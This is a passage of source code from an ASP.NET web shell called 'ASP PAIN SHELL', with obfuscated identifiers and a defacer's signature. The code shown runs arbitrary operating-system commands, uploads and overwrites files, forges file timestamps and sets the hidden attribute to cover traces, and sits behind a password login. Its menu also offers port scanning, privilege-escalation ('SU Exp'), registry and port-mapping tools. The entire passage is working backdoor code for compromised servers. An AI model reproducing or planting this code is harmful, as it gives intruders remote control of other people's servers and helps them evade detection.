  4014.  
  4015. }
  4016.  
  4017. }
  4018.  
  4019. catch(Exception ex)
  4020.  
  4021. {
  4022.  
  4023. xseuB(ex.Message);
  4024.  
  4025. }
  4026.  
  4027. }
  4028.  
  4029. public void FJvQ(FileInfo objfile)
  4030.  
  4031. {
  4032.  
  4033. TableRow tr=new TableRow();
  4034.  
  4035. TableCell tc=new TableCell();
  4036.  
  4037. string bg=OKM();
  4038.  
  4039. tr.Attributes["onmouseover"]="this.className='focus';";
  4040.  
  4041. tr.CssClass=bg;
  4042.  
  4043. tr.Attributes["onmouseout"]="this.className='"+bg+"';";
  4044.  
  4045. tc.Text="<a href=\"javascript:Bin_PostBack('Bin_Listdir','"+MVVJ(objfile.DirectoryName)+"')\">"+objfile.FullName+"</a>";
  4046.  
  4047. tr.Cells.Add(tc);
  4048.  
  4049. tc=new TableCell();
  4050.  
  4051. tc.Text=objfile.LastWriteTime.ToString();
  4052.  
  4053. tr.Cells.Add(tc);
  4054.  
  4055. tc=new TableCell();
  4056.  
  4057. tc.Text=mTG(objfile.Length);
  4058.  
  4059. tr.Cells.Add(tc);
  4060.  
  4061. oJiym.Rows.Add(tr);
  4062.  
  4063. }
  4064.  
  4065. public void xseuB(string instr)
  4066.  
  4067. {
  4068.  
  4069. jDKt.Visible=true;
  4070.  
  4071. jDKt.InnerText=instr;
  4072.  
  4073. }
  4074.  
  4075. protected void xVm(object sender,EventArgs e)
  4076.  
  4077. {
  4078.  
  4079. string Jfm=FormsAuthentication.HashPasswordForStoringInConfigFile(HRJ.Text,"MD5").ToLower();
  4080.  
  4081. if(Jfm==Password)
  4082.  
  4083. {
  4084.  
  4085. Response.Cookies.Add(new HttpCookie(vbhLn,Password));
  4086.  
  4087. ljtzC.Visible=false;
  4088.  
  4089. PBZw();
  4090.  
  4091. }
  4092.  
  4093. else
  4094.  
  4095. {
  4096.  
  4097. tZSx();
  4098.  
  4099. }
  4100.  
  4101. }
  4102.  
  4103. protected void Ybg(object sender,EventArgs e)
  4104.  
  4105. {
  4106.  
  4107. krIR(Server.MapPath("."));
  4108.  
  4109. }
  4110.  
  4111. protected void KjPi(object sender,EventArgs e)
  4112.  
  4113. {
  4114.  
  4115. Bin_H2_Title.InnerText="Domains List >>";
  4116.  
  4117. WICxe();
  4118.  
  4119. VNR.Visible=true;
  4120.  
  4121. AdCx();
  4122.  
  4123. }
  4124.  
  4125. protected void DGCoW(object sender,EventArgs e)
  4126.  
  4127. {
  4128.  
  4129. try
  4130.  
  4131. {
  4132.  
  4133. StreamWriter sw;
  4134.  
  4135. if(NdCX.SelectedItem.Text=="UTF-8")
  4136.  
  4137. {
  4138.  
  4139. sw=new StreamWriter(Sqon.Value,false,Encoding.UTF8);
  4140.  
  4141. }
  4142.  
  4143. else
  4144.  
  4145. {
  4146.  
  4147. sw=new StreamWriter(Sqon.Value,false,Encoding.Default);
  4148.  
  4149. }
  4150.  
  4151. sw.Write(Xgvv.InnerText);
  4152.  
  4153. sw.Close();
  4154.  
  4155. xseuB("Save file success !");
  4156.  
  4157. }
  4158.  
  4159. catch(Exception error)
  4160.  
  4161. {
  4162.  
  4163. xseuB(error.Message);
  4164.  
  4165. }
  4166.  
  4167. krIR(AXSbb.Value);
  4168.  
  4169. }
  4170.  
  4171. protected void lbjLD(object sender,EventArgs e)
  4172.  
  4173. {
  4174.  
  4175. string FlwA=AXSbb.Value;
  4176.  
  4177. FlwA=OElM(FlwA);
  4178.  
  4179. try
  4180.  
  4181. {
  4182.  
  4183. Fhq.PostedFile.SaveAs(FlwA+Path.GetFileName(Fhq.Value));
  4184.  
  4185. xseuB("File upload success!");
  4186.  
  4187. }
  4188.  
  4189. catch(Exception error)
  4190.  
  4191. {
  4192.  
  4193. xseuB(error.Message);
  4194.  
  4195. }
  4196.  
  4197. krIR(AXSbb.Value);
  4198.  
  4199. }
  4200.  
  4201. protected void EXV(object sender,EventArgs e)
  4202.  
  4203. {
  4204.  
  4205. krIR(AXSbb.Value);
  4206.  
  4207. }
  4208.  
  4209. protected void mcCY(object sender,EventArgs e)
  4210.  
  4211. {
  4212.  
  4213. krIR(Server.MapPath("."));
  4214.  
  4215. }
  4216.  
  4217. protected void iVk(object sender,CommandEventArgs e)
  4218.  
  4219. {
  4220.  
  4221. krIR(e.CommandArgument.ToString());
  4222.  
  4223. }
  4224.  
  4225. protected void XXrLw(object sender,EventArgs e)
  4226.  
  4227. {
  4228.  
  4229. try
  4230.  
  4231. {
  4232.  
  4233. File.SetCreationTimeUtc(QiFB.Value,File.GetCreationTimeUtc(lICp.Value));
  4234.  
  4235. File.SetLastAccessTimeUtc(QiFB.Value,File.GetLastAccessTimeUtc(lICp.Value));
  4236.  
  4237. File.SetLastWriteTimeUtc(QiFB.Value,File.GetLastWriteTimeUtc(lICp.Value));
  4238.  
  4239. xseuB("File time clone success!");
  4240.  
  4241. }
  4242.  
  4243. catch(Exception error)
  4244.  
  4245. {
  4246.  
  4247. xseuB(error.Message);
  4248.  
  4249. }
  4250.  
  4251. krIR(AXSbb.Value);
  4252.  
  4253. }
  4254.  
  4255. protected void tIykC(object sender,EventArgs e)
  4256.  
  4257. {
  4258.  
  4259. string path=pWVL.Value;
  4260.  
  4261. try
  4262.  
  4263. {
  4264.  
  4265. File.SetAttributes(path,FileAttributes.Normal);
  4266.  
  4267. if(ZhWSK.Checked)
  4268.  
  4269. {
  4270.  
  4271. File.SetAttributes(path,FileAttributes.ReadOnly);
  4272.  
  4273. }
  4274.  
  4275. if(SsR.Checked)
  4276.  
  4277. {
  4278.  
  4279. File.SetAttributes(path,File.GetAttributes(path)| FileAttributes.System);
  4280.  
  4281. }
  4282.  
  4283. if(ccB.Checked)
  4284.  
  4285. {
  4286.  
  4287. File.SetAttributes(path,File.GetAttributes(path)| FileAttributes.Hidden);
  4288.  
  4289. }
  4290.  
  4291. if(fbyZ.Checked)
  4292.  
  4293. {
  4294.  
  4295. File.SetAttributes(path,File.GetAttributes(path)| FileAttributes.Archive);
  4296.  
  4297. }
  4298.  
  4299. File.SetCreationTimeUtc(path,Convert.ToDateTime(yUqx.Value));
  4300.  
  4301. File.SetLastAccessTimeUtc(path,Convert.ToDateTime(aLsn.Value));
  4302.  
  4303. File.SetLastWriteTimeUtc(path,Convert.ToDateTime(uYjw.Value));
  4304.  
  4305. xseuB("File attributes modify success!");
  4306.  
  4307. }
  4308.  
  4309. catch(Exception error)
  4310.  
  4311. {
  4312.  
  4313. xseuB(error.Message);
  4314.  
  4315. }
  4316.  
  4317. krIR(AXSbb.Value);
  4318.  
  4319. }
  4320.  
  4321. protected void VOxn(object sender,EventArgs e)
  4322.  
  4323. {
  4324.  
  4325. WICxe();
  4326.  
  4327. vIac.Visible=true;
  4328.  
  4329. Bin_H2_Title.InnerText="Execute Command >>";
  4330.  
  4331. }
  4332.  
  4333. protected void FbhN(object sender,EventArgs e)
  4334.  
  4335. {
  4336.  
  4337. try
  4338.  
  4339. {
  4340.  
  4341. Process ahAE=new Process();
  4342.  
  4343. ahAE.StartInfo.FileName=kusi.Value;
  4344.  
  4345. ahAE.StartInfo.Arguments=bkcm.Value;
  4346.  
  4347. ahAE.StartInfo.UseShellExecute=false;
  4348.  
  4349. ahAE.StartInfo.RedirectStandardInput=true;
  4350.  
  4351. ahAE.StartInfo.RedirectStandardOutput=true;
  4352.  
  4353. ahAE.StartInfo.RedirectStandardError=true;
  4354.  
  4355. ahAE.Start();
  4356.  
  4357. string Uoc=ahAE.StandardOutput.ReadToEnd();
  4358.  
  4359. Uoc=Uoc.Replace("<","&lt;");
  4360.  
  4361. Uoc=Uoc.Replace(">","&gt;");
  4362.  
  4363. Uoc=Uoc.Replace("\r\n","<br>");
  4364.  
  4365. tnQRF.Visible=true;
  4366.  
  4367. tnQRF.InnerHtml="<hr width=\"100%\" noshade/><pre>"+Uoc+"</pre>";
  4368.  
  4369. }
  4370.  
  4371. catch(Exception error)
  4372.  
  4373. {
  4374.  
  4375. xseuB(error.Message);
  4376.  
  4377. }
  4378.  
  4379. }
  4380.  
  4381. protected void RAFL(object sender,EventArgs e)
  4382.  
  4383. {
  4384.  
  4385. if(qPdI.Text.Length>0)
  4386.  
  4387. {
  4388.  
  4389. tpRQ(qPdI.Text);
  4390.  
  4391. }
  4392.  
  4393. else
  4394.  
  4395. {
  4396.  
  4397. lFAvw();
  4398.  
  4399. }
  4400.  
  4401. }
  4402.  
  4403. protected void Grxk(object sender,EventArgs e)
  4404.  
  4405. {
  4406.  
  4407. YUw();
  4408.  
  4409. }
  4410.  
  4411. protected void ilC(object sender,EventArgs e)
  4412.  
  4413. {
  4414.  
  4415. tZRH();
  4416.  
  4417. }
  4418.  
  4419. protected void HtB(object sender,EventArgs e)
  4420.  
  4421. {
  4422.  
  4423. pDVM();
  4424.  
  4425. }
  4426.  
  4427. protected void Olm(object sender,EventArgs e)
  4428.  
  4429. {
  4430.  
  4431. iLVUT();
  4432.  
  4433. }
  4434.  
  4435. protected void jXhS(object sender,EventArgs e)
  4436.  
  4437. {
  4438.  
  4439. ADCpk();
  4440.  
  4441. }
  4442.  
  4443. protected void lRfRj(object sender,EventArgs e)
  4444.  
  4445. {
  4446.  
  4447. lDODR();
  4448.  
  4449. }
  4450.  
  4451. protected void xSy(object sender,EventArgs e)
  4452.  
  4453. {
  4454.  
  4455. xFhz();
  4456.  
  4457. }
  4458.  
  4459. protected void dMx(object sender,EventArgs e)
  4460.  
  4461. {
  4462.  
  4463. rAhe();
  4464.  
  4465. }
  4466.  
  4467. protected void zOVO(object sender,EventArgs e)
  4468.  
  4469. {
  4470.  
  4471. if(((DropDownList)sender).ID.ToString()=="WYmo")
  4472.  
  4473. {
  4474.  
  4475. dQIIF.Visible=false;
  4476.  
  4477. MasR.Text=WYmo.SelectedItem.Value.ToString();
  4478.  
  4479. }
  4480.  
  4481. if(((DropDownList)sender).ID.ToString()=="Pvf")
  4482.  
  4483. {
  4484.  
  4485. xTZY();
  4486.  
  4487. }
  4488.  
  4489. if(((DropDownList)sender).ID.ToString()=="FGEy")
  4490.  
  4491. {
  4492.  
  4493. jHIy.InnerText=FGEy.SelectedItem.Value.ToString();
  4494.  
  4495. }
  4496.  
  4497. if(((DropDownList)sender).ID.ToString()=="NdCX")
  4498.  
  4499. {
  4500.  
  4501. gLKc(Sqon.Value);
  4502.  
  4503. }
  4504.  
  4505. }
  4506.  
  4507. protected void IkkO(object sender,EventArgs e)
  4508.  
  4509. {
  4510.  
  4511. krIR(AXSbb.Value);
  4512.  
  4513. }
  4514.  
  4515. protected void BGY(object sender,EventArgs e)
  4516.  
  4517. {
  4518.  
  4519. vCf();
  4520.  
  4521. }
  4522.  
  4523. protected void cptS(object sender,EventArgs e)
  4524.  
  4525. {
  4526.  
  4527. vNCHZ();
  4528.  
  4529. }
  4530.  
  4531. protected void fDO(object sender,EventArgs e)
  4532.  
  4533. {
  4534.  
  4535. MHLv();
  4536.  
  4537. }
  4538.  
  4539. protected void vJNsE(object sender,EventArgs e)
  4540.  
  4541. {
  4542.  
  4543. vuou();
  4544.  
  4545. xseuB("Clear All Thread ......");
  4546.  
  4547. }
  4548.  
  4549. protected void wDZ(object sender,EventArgs e)
  4550.  
  4551. {
  4552.  
  4553. if(iXdh.Value=="" || eEpm.Value.Length<7 || ZHS.Value=="")return;
  4554.  
  4555. ruQO();
  4556.  
  4557. xseuB("All Thread Start ......");
  4558.  
  4559. }
  4560.  
  4561. protected void tYoZ(object sender,EventArgs e)
  4562.  
  4563. {
  4564.  
  4565. }
  4566.  
  4567. protected void ELkQ(object sender,EventArgs e)
  4568.  
  4569. {
  4570.  
  4571. VikG();
  4572.  
  4573. GBYT.Visible=true;
  4574.  
  4575. string res=string.Empty;
  4576.  
  4577. foreach(ScanPort th in IVc)
  4578.  
  4579. {
  4580.  
  4581. res+=th.ip+" : "+th.port+" ................................. "+th.status+"<br>";
  4582.  
  4583. }
  4584.  
  4585. GBYT.InnerHtml=res;
  4586.  
  4587. }
  4588.  
  4589. protected void ORUgV(object sender,EventArgs e)
  4590.  
  4591. {
  4592.  
  4593. dwgT();
  4594.  
  4595. }
  4596.  
  4597. public void WICxe()
  4598.  
  4599. {
  4600.  
  4601. DCbS.Visible=false;
  4602.  
  4603. CzfO.Visible=false;
  4604.  
  4605. APl.Visible=false;
  4606.  
  4607. vIac.Visible=false;
  4608.  
  4609. kkHN.Visible=false;
  4610.  
  4611. YwLB.Visible=false;
  4612.  
  4613. iDgmL.Visible=false;
  4614.  
  4615. hOWTm.Visible=false;
  4616.  
  4617. vrFA.Visible=false;
  4618.  
  4619. yhv.Visible=false;
  4620.  
  4621. }
  4622.  
  4623. </script>
  4624.  
  4625. <html xmlns="http://www.w3.org/1999/xhtml" >
  4626.  
  4627. <head id="Head1" runat="server">
  4628.  
  4629. <meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
  4630.  
  4631. <title>::: ASP PAIN SHELL :::</title>
  4632.  
  4633. <style type="text/css">
  4634.  
  4635. .Bin_Style_Login{
  4636.  
  4637.     font: large "Gill Sans", "Gill Sans MT", Calibri, "Trebuchet MS", sans-serif;
  4638.  
  4639.     border: thin #FF0000 outset;
  4640.  
  4641.     color: #FFFFFF;
  4642.  
  4643.     background-color: #C0C0C0;
  4644.  
  4645.     height: 26;
  4646.  
  4647.     width: 52;
  4648.  
  4649. }
  4650.  
  4651. body,td{font: 12px Arial,Tahoma;line-height: 16px;}
  4652.  
  4653. .input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:16px;}
  4654.  
  4655. .list{font:12px Arial,Tahoma;height:23px;}
  4656.  
  4657. .area{font:12px 'Courier New',Monospace;background:#fff;border: 1px solid #666;padding:2px;}
  4658.  
  4659. .bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}
  4660.  
  4661. a {color: #00f;text-decoration:underline;}
  4662.  
  4663. a:hover{color: #f00;text-decoration:none;}
  4664.  
  4665. .alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ededed;padding:5px 10px 5px 5px;}
  4666.  
  4667. .alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#fafafa;padding:5px 10px 5px 5px;}
  4668.  
  4669. .focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}
  4670.  
  4671. .head td{border-top:1px solid #ddd;border-bottom:1px solid #ccc;background:#e8e8e8;padding:5px 10px 5px 5px;font-weight:bold;}
  4672.  
  4673. .head td span{font-weight:normal;}
  4674.  
  4675. form{margin:0;padding:0;}
  4676.  
  4677. h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
  4678.  
  4679. ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
  4680.  
  4681. u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
  4682.  
  4683. .u1{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
  4684.  
  4685. .u2{text-decoration: none;color:#777;float:left;display:block;width:350px;margin-right:10px;}
  4686.  
  4687. .style2 {
  4688.  
  4689.     outline-style: solid;
  4690.  
  4691.     border-top-color: #FF0000;
  4692.  
  4693.     outline: #FF0000;
  4694.  
  4695.     font: large "Gill Sans", "Gill Sans MT", Calibri, "Trebuchet MS", sans-serif;
  4696.  
  4697.     border: #FF0000 inset;
  4698.  
  4699.     background-color: #EEEEEE;
  4700.  
  4701.     caption-side: inherit;
  4702.  
  4703.     cursor: text;
  4704.  
  4705.     width: 186;
  4706.  
  4707.     height: 26;
  4708.  
  4709.     color: #000000;
  4710.  
  4711. }
  4712.  
  4713. .style4 {
  4714.  
  4715.     font: normal normal bold 12px normal Gill Sans, Gill Sans MT, Calibri, Trebuchet MS, sans-serif;
  4716.  
  4717.     background: #fff;
  4718.  
  4719.     border: 1px solid #666;
  4720.  
  4721.     padding: 2px;
  4722.  
  4723.     height: 16px;
  4724.  
  4725. }
  4726.  
  4727. .style5 {
  4728.  
  4729.     font: normal normal bold 12px normal Gill Sans, Gill Sans MT, Calibri, Trebuchet MS, sans-serif;
  4730.  
  4731.     background: #fff;
  4732.  
  4733.     border: 1px solid #666;
  4734.  
  4735.     padding: 2px;
  4736.  
  4737. }
  4738.  
  4739. .style7 {
  4740.  
  4741.     font-family: "Gill Sans", "Gill Sans MT", Calibri, "Trebuchet MS", sans-serif;
  4742.  
  4743. }
  4744.  
  4745. .style8 {
  4746.  
  4747.     font-family: "Gill Sans", "Gill Sans MT", Calibri, "Trebuchet MS", sans-serif;
  4748.  
  4749.     font-weight: bold;
  4750.  
  4751. }
  4752.  
  4753. .style9 {
  4754.  
  4755.     font-weight: bold;
  4756.  
  4757. }
  4758.  
  4759. .style10 {
  4760.  
  4761.     font-family: "Gill Sans", "Gill Sans MT", Calibri, "Trebuchet MS", sans-serif;
  4762.  
  4763.     font-size: large;
  4764.  
  4765. }
  4766.  
  4767. .style11 {
  4768.  
  4769.     font-family: "Gill Sans", "Gill Sans MT", Calibri, "Trebuchet MS", sans-serif;
  4770.  
  4771.     font-weight: bold;
  4772.  
  4773.     font-size: large;
  4774.  
  4775. }
  4776.  
  4777. .style12 {
  4778.  
  4779.     font-family: "Gill Sans", "Gill Sans MT", Calibri, "Trebuchet MS", sans-serif;
  4780.  
  4781.     font-weight: bold;
  4782.  
  4783.     font-size: x-large;
  4784.  
  4785. }
  4786.  
  4787. .style13 {
  4788.  
  4789.     color: #FFFFFF;
  4790.  
  4791.     text-align: left;
  4792.  
  4793. }
  4794.  
  4795. .style14 {
  4796.  
  4797.     color: #FFFFFF;
  4798.  
  4799.     font-size: medium;
  4800.  
  4801. }
  4802.  
  4803. .style15 {
  4804.  
  4805.     color: #FFFFFF;
  4806.  
  4807. }
  4808.  
  4809. .style16 {
  4810.  
  4811.     font-family: "Gill Sans", "Gill Sans MT", Calibri, "Trebuchet MS", sans-serif;
  4812.  
  4813.     color: #FF0000;
  4814.  
  4815. }
  4816.  
  4817. .style17 {
  4818.  
  4819.     font-family: "Gill Sans", "Gill Sans MT", Calibri, "Trebuchet MS", sans-serif;
  4820.  
  4821.     font-weight: bold;
  4822.  
  4823.     color: #FFFFFF;
  4824.  
  4825. }
  4826.  
  4827. .style18 {
  4828.  
  4829.     font-family: "Gill Sans", "Gill Sans MT", Calibri, "Trebuchet MS", sans-serif;
  4830.  
  4831.     text-align: center;
  4832.  
  4833. }
  4834.  
  4835. .style19 {
  4836.  
  4837.     color: #FF0000;
  4838.  
  4839. }
  4840.  
  4841. .style20 {
  4842.  
  4843.     margin-top: 0px;
  4844.  
  4845. }
  4846.  
  4847. </style>
  4848.  
  4849. <script type="text/javascript">
  4850.  
  4851. function CheckAll(form){
  4852.  
  4853. for(var i=0;i<form.elements.length;i++){
  4854.  
  4855. var e=form.elements[i];
  4856.  
  4857. if(e.name!='chkall')
  4858.  
  4859. e.checked=form.chkall.checked;
  4860.  
  4861. }
  4862.  
  4863. }
  4864.  
  4865. </script>
  4866.  
  4867. </head>
  4868.  
  4869. <body style="margin:0;table-layout:fixed; background-color: #000000;">
  4870.  
  4871. <form id="ASPXSpy" runat="server">
  4872.  
  4873. <div id="ljtzC" runat="server" style=" margin:15px" enableviewstate="false" visible="false" class="style13" >
  4874.  
  4875.     <div>
  4876.  
  4877.     <span style="font-style: normal; font-variant: normal; line-height: normal;" class="style11"><br />
  4878.  
  4879.     <img src="http://arar-news.com/wp-content/plugins/rss-poster/cache/ddad9_d97ce118-3cbb-4a90-8118-49df5cf2906a.jpg" style="float: right" class="style20" height="218" /><br />
  4880.  
  4881.     <br />
  4882.  
  4883.     <br />
  4884.  
  4885.     <br />
  4886.  
  4887.     <br />
  4888.  
  4889.     <br />
  4890.  
  4891.     </span>
  4892.  
  4893.     <span style="font-style: normal; font-variant: normal; line-height: normal;" class="style12">Password:</span>
  4894.  
  4895. <asp:TextBox ID="HRJ" runat="server" Columns="20" CssClass="style2" Font-Bold="True" Font-Names="Gill Sans, Gill Sans MT, Calibri, Trebuchet MS, sans-serif" Font-Size="Large" Height="26px" Width="186px" ></asp:TextBox>
  4896.  
  4897.     <span class="style11">&nbsp; </span>
  4898.  
  4899. <asp:Button ID="ZSnXu" runat="server" Text="Login" CssClass="Bin_Style_Login" OnClick="xVm" Font-Bold="True" Font-Names="Gill Sans, Gill Sans MT, Calibri, Trebuchet MS, sans-serif" Font-Size="Large" Height="26px" Width="52px"/>
  4900.  
  4901.         <br />
  4902.  
  4903.     </div>
  4904.  
  4905.     <b><span class="style10">
  4906.  
  4907.     <p/>
  4908.  
  4909.     Copyright &copy; 2010 :: CrAzY ArAr :: <a href="http://www.zone-h.org/archive/notifier=crazy-3r3r" target="_blank">DH9@HoTmAiL.CoM</a>
  4910.  
  4911.     </span></b>
  4912.  
  4913. </div>
  4914.  
  4915. <div id="ZVS" runat="server">
  4916.  
  4917. <div id="Zzj" runat="server">
  4918.  
  4919.  
  4920.  
  4921.     <br />
  4922.  
  4923.     <br />
  4924.  
  4925.     <img height="180" src="http://arar-news.com/wp-content/plugins/rss-poster/cache/ddad9_d97ce118-3cbb-4a90-8118-49df5cf2906a.jpg" style="float: right" width="407" /><table width="100%" border="0" cellpadding="0" cellspacing="0">
  4926.  
  4927. <tr class="head">
  4928.  
  4929. <td ><span style="float:right;" class="style7"><a href="http://www.aljyyosh.com" target="_blank">::ASP PAIN Shell::</a></span><span id="Bin_Span_Sname" runat="server" enableviewstate="true"></span></td>
  4930.  
  4931. </tr>
  4932.  
  4933. <tr class="alt1">
  4934.  
  4935. <td class="style9"><span style="float:right;" id="Bin_Span_FrameVersion" runat="server"></span>
  4936.  
  4937. <asp:LinkButton ID="UtkN" runat="server" OnClick="YKpI" Text="Logout" Font-Names="Gill Sans, Gill Sans MT, Calibri, Trebuchet MS, sans-serif" ></asp:LinkButton>
  4938.  
  4939. <span class="style7">| <asp:LinkButton ID="RsqhW" runat="server" Text="File Manager" OnClick="Ybg"></asp:LinkButton> | <asp:LinkButton ID="xxzE" runat="server" Text="Cmd-Command" OnClick="VOxn"></asp:LinkButton> | <asp:LinkButton ID="nuc" runat="server" Text="Domains List" OnClick="KjPi"></asp:LinkButton> | <asp:LinkButton ID="OREpx" runat="server" Text="Process" OnClick="Grxk"></asp:LinkButton> | <asp:LinkButton ID="jHN" runat="server" Text="Services" OnClick="ilC"></asp:LinkButton> | <asp:LinkButton ID="PHq" runat="server" Text="UserInfo" OnClick="Olm"></asp:LinkButton> | <asp:LinkButton ID="wmgnK" runat="server" Text="SysInfo" OnClick="HtB"></asp:LinkButton> | <asp:LinkButton ID="FeV" runat="server" Text="FileSearch" OnClick="PPtK"></asp:LinkButton> | <asp:LinkButton ID="PVQ" runat="server" Text="SU Exp" OnClick="jXhS"></asp:LinkButton> | <asp:LinkButton ID="jNDb" runat="server" Text="RegShell" OnClick="xSy"></asp:LinkButton> | <asp:LinkButton ID="HDQ" runat="server" Text="PortScan" OnClick="cptS" ></asp:LinkButton> | <asp:LinkButton ID="AoI" runat="server" Text="DataBase" OnClick="dMx"></asp:LinkButton> | <asp:LinkButton ID="KHbEd" runat="server" Text="PortMap" OnClick="fDO"></asp:LinkButton>
  4940.  
  4941. </span>
  4942.  
  4943. </td>
  4944.  
  4945. </tr>
  4946.  
  4947. </table>
  4948.  
  4949. </div>
  4950.  
  4951. <table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
  4952.  
  4953. <div id="jDKt" style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;" runat="server" visible="false" enableviewstate="false"></div>
  4954.  
  4955. <h2 id="Bin_H2_Title" runat="server"></h2>
  4956.  
  4957. <%--FileList--%>
  4958.  
  4959. <div id="CzfO" runat="server">
  4960.  
  4961. <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
  4962.  
  4963.  <tr>
  4964.  
  4965. <td style=" white-space:nowrap" class="style17">Current Directory : </td>
  4966.  
  4967. <td style=" width:100%">
  4968.  
  4969. <input class="style4" id="AXSbb" type="text" style="width:97%;margin:0 8px;" runat="server"/><span class="style8">
  4970.  
  4971. </span>
  4972.  
  4973. </td>
  4974.  
  4975. <td style="white-space:nowrap" >
  4976.  
  4977. <asp:Button ID="xaGwl" runat="server" Text="Go" CssClass="bt" OnClick="EXV" Font-Bold="True" Font-Names="Gill Sans, Gill Sans MT, Calibri, Trebuchet MS, sans-serif"/></td>
  4978.  
  4979.  </tr>
  4980.  
  4981. </table>
  4982.  
  4983. <table width="100%" border="0" cellpadding="4" cellspacing="0">
  4984.  
  4985. <tr class="alt1"><td style="padding:5px;">
  4986.  
  4987. <div style="float:right;">
  4988.  
  4989.     <input id="Fhq" class="style4" runat="server" type="file" style=" height:22px"/>
  4990.  
  4991. <asp:Button ID="RvPp" CssClass="bt" runat="server" Text="Upload" OnClick="lbjLD" Font-Bold="True" Font-Names="Gill Sans, Gill Sans MT, Calibri, Trebuchet MS, sans-serif"/></div>
  4992.  
  4993.     <b>
  4994.  
  4995.     <asp:LinkButton ID="OLJFp" runat="server" Text="WebRoot" OnClick="mcCY" Font-Names="Gill Sans, Gill Sans MT, Calibri, Trebuchet MS, sans-serif"></asp:LinkButton>
  4996.  
  4997.     <span class="style7">| <a href="#" id="Bin_Button_CreateDir" runat="server">Create Directory</a> | <a href="#" id="Bin_Button_CreateFile" runat="server">Create File</a>
  4998.  
  4999.  | <span id="Bin_Span_Drv" runat="server"></span><a href="#" id="Bin_Button_KillMe" runat="server" style="color:Red">Kill Me</a>
  5000.  
  5001.     </span></b>
  5002.  
  5003. </td></tr>
  5004.  
  5005. <asp:Table ID="UGzP" runat="server" Width="100%" CellSpacing="0" >
  5006.  
  5007. <asp:TableRow CssClass="head"><asp:TableCell>&nbsp;</asp:TableCell><asp:TableCell>Filename</asp:TableCell><asp:TableCell Width="25%">Last modified</asp:TableCell><asp:TableCell Width="15%">Size</asp:TableCell><asp:TableCell Width="25%">Action</asp:TableCell></asp:TableRow>
  5008.  
  5009. </asp:Table>
  5010.  
  5011. </table>
  5012.  
  5013. </div>
  5014.  
  5015. <%--FileEdit--%>
  5016.  
  5017. <div id="vrFA" runat="server">
  5018.  
  5019. <p><span class="style8"><span class="style14">Current File(import new file name and new file)</span><br/>
  5020.  
  5021. </span>
  5022.  
  5023. <input class="style4" id="Sqon" type="text" size="100" runat="server"/>
  5024.  
  5025. <asp:DropDownList ID="NdCX" runat="server" CssClass="list" AutoPostBack="true" OnSelectedIndexChanged="zOVO" Font-Bold="True" Font-Names="Gill Sans, Gill Sans MT, Calibri, Trebuchet MS, sans-serif"><asp:ListItem>Default</asp:ListItem><asp:ListItem>UTF-8</asp:ListItem></asp:DropDownList>
  5026.  
  5027. </p>
  5028.  
  5029. <p><span class="style8"><span class="style15">File Content :</span><br/>
  5030.  
  5031. </span>
  5032.  
  5033. <textarea id="Xgvv" runat="server" class="style5" cols="100" rows="25" enableviewstate="true" ></textarea><span class="style8">
  5034.  
  5035. </span>
  5036.  
  5037. </p>
  5038.  
  5039. <p>
  5040.  
  5041. <asp:Button ID="JJjbW" runat="server" Text="Submit" CssClass="bt" OnClick="DGCoW" Font-Bold="True" Font-Names="Gill Sans, Gill Sans MT, Calibri, Trebuchet MS, sans-serif"/>
  5042.  
  5043. <asp:Button ID="iCNu" runat="server" Text="Back" CssClass="bt" OnClick="IkkO" Font-Bold="True" Font-Names="Gill Sans, Gill Sans MT, Calibri, Trebuchet MS, sans-serif"/></p>
  5044.  
  5045. </div>
  5046.  
  5047. <%--CloneTime--%>
  5048.  
  5049. <div id="zRyG" runat="server" enableviewstate="false" visible="false">
  5050.  
  5051. <p><span class="style8"><span class="style15">Alter file :</span><br/></span>
  5052.  
  5053. <input class="style4" id="QiFB" type="text" size="120" runat="server"/></p>
  5054.  
  5055. <p><span class="style8"><span class="style15">Reference file(fullpath) :</span><br/></span>
  5056.  
  5057. <input class="style4" id="lICp" type="text" size="120" runat="server"/></p>
  5058.  
  5059. <p>
  5060.  
  5061. <asp:Button ID="JEaxV" runat="server" Text="Submit" CssClass="bt" OnClick="XXrLw" Font-Bold="True" Font-Names="Gill Sans, Gill Sans MT, Calibri, Trebuchet MS, sans-serif"/></p>
  5062.  
  5063. <h2 class="style16">Set last modified &raquo;</h2>
  5064.  
  5065.     <span class="style8">
  5066.  
  5067. <p><span class="style15">Current file(fullpath) :</span><br/></span>
  5068.  
  5069. <input class="style4" id="pWVL" type="text" size="120" runat="server"/></p>
  5070.  
  5071. <p>
  5072.  
  5073. <b>
  5074.  
  5075. <asp:CheckBox ID="ZhWSK" runat="server" Text="ReadOnly" EnableViewState="False" Font-Names="Gill Sans, Gill Sans MT, Calibri, Trebuchet MS, sans-serif"/>
  5076.  
  5077. <span class="style7">&nbsp;
  5078.  
  5079. <asp:CheckBox ID="SsR" runat="server" Text="System" EnableViewState="False"/>
  5080.  
  5081. &nbsp;
  5082.  
  5083. <asp:CheckBox ID="ccB" runat="server" Text="Hidden" EnableViewState="False"/>
  5084.  
  5085. &nbsp;
  5086.  
  5087. <asp:CheckBox ID="fbyZ" runat="server" Text="Archive" EnableViewState="False"/>
  5088.  
  5089. </p>
  5090.  
  5091. <p>
  5092.  
  5093. <span class="style15">CreationTime :
  5094.  
  5095. </span>
  5096.  
  5097. </span></b>
  5098.  
  5099. <input class="style4" id="yUqx" type="text" runat="server"/><span class="style8">
  5100.  
  5101. <span class="style15">LastWriteTime :
  5102.  
  5103. </span>
  5104.  
  5105. </span>
  5106.  
  5107. <input class="style4" id="uYjw" type="text" runat="server"/><span class="style8">
  5108.  
  5109. <span class="style15">LastAccessTime :
  5110.  
  5111. </span>
  5112.  
  5113. </span>
  5114.  
